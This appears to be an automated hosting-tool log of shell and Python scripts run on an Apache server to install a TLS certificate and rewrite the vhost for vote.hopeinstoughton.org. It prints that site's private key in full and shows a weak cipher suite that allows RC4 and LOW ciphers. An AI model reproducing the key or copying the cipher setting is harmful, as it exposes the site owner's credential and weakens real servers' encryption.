aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvODIuY3JsMIIBDQYKKwYBBAHW
eQIEAgSB/gSB+wD5AHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcA
AAGbo9xq5QAABAMASDBGAiEApxhfL4RQFnh9leOc9a1Zy6J1CRWglvxWyJtEX8iR
JQwCIQC4MYSGmqYEHgTo9TICUinPflDvhq4jH6ctXa3qTRy9mAB+AOMjjfKNoojg
quCs8PqQyYXwtr/10qUnsAH8HERYxLboAAABm6PcbFsACAAABQAu2O/LBAMARzBF
AiATHmArLU+hIfqC0XTfnEs9cSgT/0rTXYArAJnzGkD5AwIhAOD92LWnN3ecWRyi
nZzznI8JVUwEdo3QiMQa2D5Crn9yMA0GCSqGSIb3DQEBCwUAA4IBAQCRS011CqdJ
D4yoPd8fOwIVVMTfjCreJeudP0J9zwBn0CXtLahT94UycpY5q09XuqpUBHnO9G1j
Yrd4BEUN7gzfVIAWB7P7w5QXWayU2+AmeB3BIc3ifltKrp8jqYNbbHso3cHKPowk
Wadpt36RkZEe4sNc/r/eUma9lpFMuHfFv3mpFZe+9zxI1cFSmA0a7it1MZWp+2wH
ibv9vTyoCT1oynmP6Mk0eJ3c3fI3yHT3Y2sQghndHY6CD+8B52JTsB2FAlsCuWJa
nNTXmFT4rtMrXbkSFQ7DBtLw8rh0fx6jvY2kJXTSeS0VnnHsmoxf5IoUsQPU9fv0
6pnVKIRf2Nen
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCvXnoSmqrX2q5i
5qQ9gRyz15nbyCYPCoAUrRx9ZGdtWKlF1kRLeqS4iot1lfx8HEcnF1OWC3dS3FR3
6P1lTbFaBz91FWDKQyayHcaP0lYlTHm8lkUrCNzZRTg4tTZM6F6/Ug81AN+1HIYo
koDPF/GreGbQb0tXb5KJ3ARNeXhr/4X7c3sx4pGSOZbnBLbPr5nWlErvTEJTcL7E
K4snQKd5tgShWCvks03EC/FbCwxkWMsb1QjEsvwaCL2qc6UG4g9wKbZUsC380Ts1
fAO8Xv/Ttk5vgNhyLqAlpGD10aNMXmfIygqCv8LXrEHSS1QK7w0cN7y22Vys44Ef
AIe6aaMZAgMBAAECggEAAzHrc29R8YDQcIjXMS+rADPLX8+zsc51KutEe5xarglR
fC49LErduWb8x3WmFfTF7xZjtXYcBGxzNYQPKctSkdtT8qQjEUxL5i7YsUIZw7Ay
/5aVSAVvUJ4MOixDAv+wyjeKg2KysLAGWbLhmeRLyN32sZF1g/BKcSyK/4ZZBU6o
uyo70rowixrMrFzKg4rTtEPt1XhrwBldeNIvE4qOwelV9lvPdxcR0F2mnMjU4iL6
8iXK/TyFNZ2dqMnvTth8VPg3D9zfTCFbthx5GIqaCNMUgcfZ7uEX+wN7BKQAPG6C
Q3Du2VtXuyKd9olp3tCw2ae8KPyhP5Y5TbgOP1kyIQKBgQDi2TwVmgsLgEMpRaEP
NdrzoHHTPua3tdo/uB0qhmUqHtuJ6oh7DXcUlEixf7F8BUOPWoEbc3QcCzXSaF9Y
GK+4zM8modUOE1D+bEwticRgPsyVPIVxGdBLcQqbh7SNpMiQuSoIsx8Pm9GW5L/D
PK8VjRLukNqooMaks2xqNKENnQKBgQDF57D3nI5ae5dHpV0I3pTrBArclp0Gbi31
W+OEtRcHwpsK3Cqi7P1sVgqmrZYY9Fab/usNr7BqGxUcfA5GwoCO7dl7hyGhMq/e
j6/K1MJhGS0wpxzpjAjQLhHU12HvZdFLtVF49VJsYKhC6Ih6B5cWW/1k713ZTrEJ
4uzi5z4wrQKBgC7pf8xz087oEnuJg7oyh/oT9xYZjvr055J/z8BIlMk2Im6OCvVv
nm2qELJsVtbv+728mLCFmsBl7RZ7MSR1znkoGbrCgt3rTreey84rDGpe8k32ex4d
mX7QfMIXOVaFeli7gh7UdBr1PU24NpP4i7ioOP8PA7kVrp7G4CfChH/dAoGAWEkH
lS5uAsdnsTp/ylkhLcZb4hP+cMPuFKqtUKJIZ9nUuH+HNa9rTk0D6188ul0l1ele
inh5xpvWSyK8a6yRFTHd91FNG1A1TJ/k2CMZo59LnYyvRTCHLfefVMfQlK9jMtbs
RX2LC3YDGfYKDAYezIa0/7YYs7x7FeH5sy9devECgYBBpHXewJezAvxWukj2nMih
xaLCedYlKS6QYVJ0nhdmCVA7iMyKGrDjwYTQ36ojOIqgeej0rr+OWmvj4qsaYOb2
2OT4XWuxMzYXK8Nm6yrn9axcSkvG1+7YaZ1CGp/qjVpRhGvgft5goqVVeCw5TuiF
90QBSxj/Am4MkaHr47Vq+Q==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-09 17:44:51: 

chmod 755 /tmp/pkp841521; /tmp/pkp841521; rm /tmp/pkp841521

2026-01-09 17:44:51: 


dir=/etc/ssl/certs


2026-01-09 17:44:51: 

PUT: /tmp/pkp906849

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-09 17:44:51: 

chmod 755 /tmp/pkp906849; /tmp/pkp906849; rm /tmp/pkp906849

2026-01-09 17:44:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf 48

<VirtualHost *:80>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-09 17:44:51: 

PUT: /tmp/pkp746927

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_vote_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf= 1'
fi


2026-01-09 17:44:51: 

chmod 755 /tmp/pkp746927; /tmp/pkp746927; rm /tmp/pkp746927

2026-01-09 17:44:51: 




2026-01-09 17:44:51: 

PUT: /tmp/pkp656094

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-09 17:44:51: 

chmod 755 /tmp/pkp656094; /tmp/pkp656094; rm /tmp/pkp656094

2026-01-09 17:44:51: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-09 17:44:51: Establishing a connection
2026-01-09 17:44:52: 

PUT: /tmp/pkp265259

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-09 17:44:52: 

chmod 755 /tmp/pkp265259; /tmp/pkp265259; rm /tmp/pkp265259

2026-01-09 17:44:52: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-09 17:44:52: 

PUT: /tmp/pkp151179

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-09 17:44:52: 

chmod 755 /tmp/pkp151179; /tmp/pkp151179; rm /tmp/pkp151179

2026-01-09 17:44:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf	1655

<VirtualHost *:80>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-09 17:44:52: 

PUT: /tmp/pkp958725

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-09 17:44:52: 

chmod 755 /tmp/pkp958725; /tmp/pkp958725; rm /tmp/pkp958725

2026-01-09 17:44:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt	5385
58:00:12:0a:87:41:69:1b:e4:9e:d1:2f:1a:e6:d8:96

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBiHP4YK7e2cucQWXEBbkFJPRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA5MTY0NjE5WhcNMjYwNDA5MTY0NjE4WjAjMSEwHwYDVQQD
Exh2b3RlLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCvXnoSmqrX2q5i5qQ9gRyz15nbyCYPCoAUrRx9ZGdtWKlF1kRL
eqS4iot1lfx8HEcnF1OWC3dS3FR36P1lTbFaBz91FWDKQyayHcaP0lYlTHm8lkUr
CNzZRTg4tTZM6F6/Ug81AN+1HIYokoDPF/GreGbQb0tXb5KJ3ARNeXhr/4X7c3sx
4pGSOZbnBLbPr5nWlErvTEJTcL7EK4snQKd5tgShWCvks03EC/FbCwxkWMsb1QjE
svwaCL2qc6UG4g9wKbZUsC380Ts1fAO8Xv/Ttk5vgNhyLqAlpGD10aNMXmfIygqC
v8LXrEHSS1QK7w0cN7y22Vys44EfAIe6aaMZAgMBAAGjggIxMIICLTAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFCWpWVpywNcrx5VmEPrnGxfvm867MB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYdm90ZS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvODIuY3JsMIIBDQYKKwYBBAHW
eQIEAgSB/gSB+wD5AHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcA
AAGbo9xq5QAABAMASDBGAiEApxhfL4RQFnh9leOc9a1Zy6J1CRWglvxWyJtEX8iR
JQwCIQC4MYSGmqYEHgTo9TICUinPflDvhq4jH6ctXa3qTRy9mAB+AOMjjfKNoojg
quCs8PqQyYXwtr/10qUnsAH8HERYxLboAAABm6PcbFsACAAABQAu2O/LBAMARzBF
AiATHmArLU+hIfqC0XTfnEs9cSgT/0rTXYArAJnzGkD5AwIhAOD92LWnN3ecWRyi
nZzznI8JVUwEdo3QiMQa2D5Crn9yMA0GCSqGSIb3DQEBCwUAA4IBAQCRS011CqdJ
D4yoPd8fOwIVVMTfjCreJeudP0J9zwBn0CXtLahT94UycpY5q09XuqpUBHnO9G1j
Yrd4BEUN7gzfVIAWB7P7w5QXWayU2+AmeB3BIc3ifltKrp8jqYNbbHso3cHKPowk
Wadpt36RkZEe4sNc/r/eUma9lpFMuHfFv3mpFZe+9zxI1cFSmA0a7it1MZWp+2wH
ibv9vTyoCT1oynmP6Mk0eJ3c3fI3yHT3Y2sQghndHY6CD+8B52JTsB2FAlsCuWJa
nNTXmFT4rtMrXbkSFQ7DBtLw8rh0fx6jvY2kJXTSeS0VnnHsmoxf5IoUsQPU9fv0
6pnVKIRf2Nen
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCvXnoSmqrX2q5i
5qQ9gRyz15nbyCYPCoAUrRx9ZGdtWKlF1kRLeqS4iot1lfx8HEcnF1OWC3dS3FR3
6P1lTbFaBz91FWDKQyayHcaP0lYlTHm8lkUrCNzZRTg4tTZM6F6/Ug81AN+1HIYo
koDPF/GreGbQb0tXb5KJ3ARNeXhr/4X7c3sx4pGSOZbnBLbPr5nWlErvTEJTcL7E
K4snQKd5tgShWCvks03EC/FbCwxkWMsb1QjEsvwaCL2qc6UG4g9wKbZUsC380Ts1
fAO8Xv/Ttk5vgNhyLqAlpGD10aNMXmfIygqCv8LXrEHSS1QK7w0cN7y22Vys44Ef
AIe6aaMZAgMBAAECggEAAzHrc29R8YDQcIjXMS+rADPLX8+zsc51KutEe5xarglR
fC49LErduWb8x3WmFfTF7xZjtXYcBGxzNYQPKctSkdtT8qQjEUxL5i7YsUIZw7Ay
